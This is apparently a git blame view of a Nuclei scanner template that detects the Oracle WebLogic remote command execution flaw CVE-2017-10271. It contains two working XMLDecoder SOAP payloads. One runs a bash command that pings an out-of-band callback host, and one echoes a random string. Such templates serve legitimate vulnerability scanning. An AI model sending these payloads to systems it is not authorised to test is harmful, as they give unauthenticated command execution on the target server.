2021-02-03 00:48:46 +00:00
id : CVE-2017-10271
info :
2022-05-26 15:15:35 +00:00
name : Oracle WebLogic Server - Remote Command Execution
2022-08-20 05:14:56 +00:00
author : dr_set,ImNightmaree,true13
2021-02-03 00:48:46 +00:00
severity : high
2022-05-26 15:15:35 +00:00
description : |
2022-06-09 20:35:21 +00:00
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
2023-09-06 13:22:34 +00:00
remediation : |
Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms.
2021-08-19 13:15:35 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
2022-05-26 15:27:05 +00:00
- http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
2022-06-09 20:35:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-10271
2023-07-15 16:29:17 +00:00
- http://www.securitytracker.com/id/1039608
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
2022-05-26 15:27:05 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-10271
2024-01-14 13:49:27 +00:00
epss-score : 0.97426
epss-percentile : 0.9993
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : oracle
product : weblogic_server
2024-01-14 09:21:50 +00:00
tags : cve,cve2017,weblogic,oast,kev,vulhub,rce,oracle
2021-02-05 19:44:41 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-04 19:43:23 +00:00
- raw :
- |
2021-08-19 14:44:46 +00:00
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : text/xml
2021-02-04 19:44:43 +00:00
2021-08-19 14:44:46 +00:00
<?xml version="1.0" encoding="utf-8"?>
2021-09-12 13:02:24 +00:00
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
2021-08-19 14:44:46 +00:00
<soapenv:Header>
2021-09-12 13:02:24 +00:00
<work:WorkContext
xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
2021-08-19 14:44:46 +00:00
</void>
2021-09-12 13:02:24 +00:00
<void index="1">
<string>-c</string>
2021-08-19 14:44:46 +00:00
</void>
2021-09-12 13:02:24 +00:00
<void index="2">
2022-09-22 10:44:21 +00:00
<string>ping -c 1 {{interactsh-url}}</string>
2021-09-12 13:02:24 +00:00
</void>
</array>
<void method="start"/></void>
2021-08-19 14:44:46 +00:00
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2022-05-26 15:15:35 +00:00
- |
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : text/xml
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-06-01 22:28:36 +00:00
matchers-condition : or
2021-02-03 00:48:46 +00:00
matchers :
2022-06-01 22:28:36 +00:00
- type : dsl
dsl :
2022-08-20 05:14:56 +00:00
- regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body)
2022-09-22 10:44:21 +00:00
- contains(interactsh_protocol, "dns")
2022-06-01 22:28:36 +00:00
- status_code == 500
condition : and
2021-11-04 23:18:10 +00:00
2022-06-01 22:28:36 +00:00
- type : dsl
dsl :
- body == "{{randstr}}"
- status_code == 200
2022-06-09 20:35:21 +00:00
condition : and
2024-01-14 14:05:19 +00:00
# digest: 4a0a00473045022100a1c6fe122b38f892d8bdce3efa4c395dd87ee73549be7945d4d2f257ca49b3b202203a33f260f9acc471a62f8fda2562e542864a4950043dae6ccb2667d5c7187bf9:922c64590222798bb761d5b6d8e72950